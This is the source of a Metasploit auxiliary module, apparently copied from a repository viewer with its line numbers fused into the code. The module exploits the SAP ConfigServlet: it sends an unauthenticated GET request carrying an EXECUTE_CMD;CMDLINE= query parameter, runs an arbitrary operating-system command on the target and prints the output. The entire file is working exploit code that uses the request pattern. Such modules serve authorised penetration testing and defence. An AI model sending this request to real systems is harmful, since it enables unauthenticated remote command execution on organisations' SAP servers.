Path: blob/master/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'SAP ConfigServlet OS Command Execution',13'Description' => %q{14This module allows execution of operating system commands through the SAP15ConfigServlet without any authentication.16},17'Author' => [18'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)19'Andras Kabai' # Metasploit module20],21'License' => MSF_LICENSE,22'References' => [23[ 'OSVDB', '92704' ],24[ 'EDB', '24963' ],25[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']26],27'DisclosureDate' => '2012-11-01', # Based on the reference presentation28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS],31'Reliability' => []32}33)34)3536register_options(37[38Opt::RPORT(50000),39OptString.new('CMD', [ true, 'The command to execute', 'whoami']),40OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])41]42)43end4445def run46begin47print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])48uri = normalize_uri(target_uri.path, 'ConfigServlet')4950res = send_request_cgi(51{52'uri' => uri,53'method' => 'GET',54'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD'])55}56)57if !res || (res.code != 200)58print_error("#{rhost}:#{rport} - Exploit failed")59return60end61rescue ::Rex::ConnectionError62print_error("#{rhost}:#{rport} - Failed to connect to the server")63return64end6566if res.body.include?('Process created')67print_good("#{rhost}:#{rport} - Exploited successfully\n")68print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")69print_line("#{rhost}:#{rport} - Output: #{res.body}")70else71print_error("#{rhost}:#{rport} - Exploit failed")72vprint_error("#{rhost}:#{rport} - Output: #{res.body}")73end74end75end767778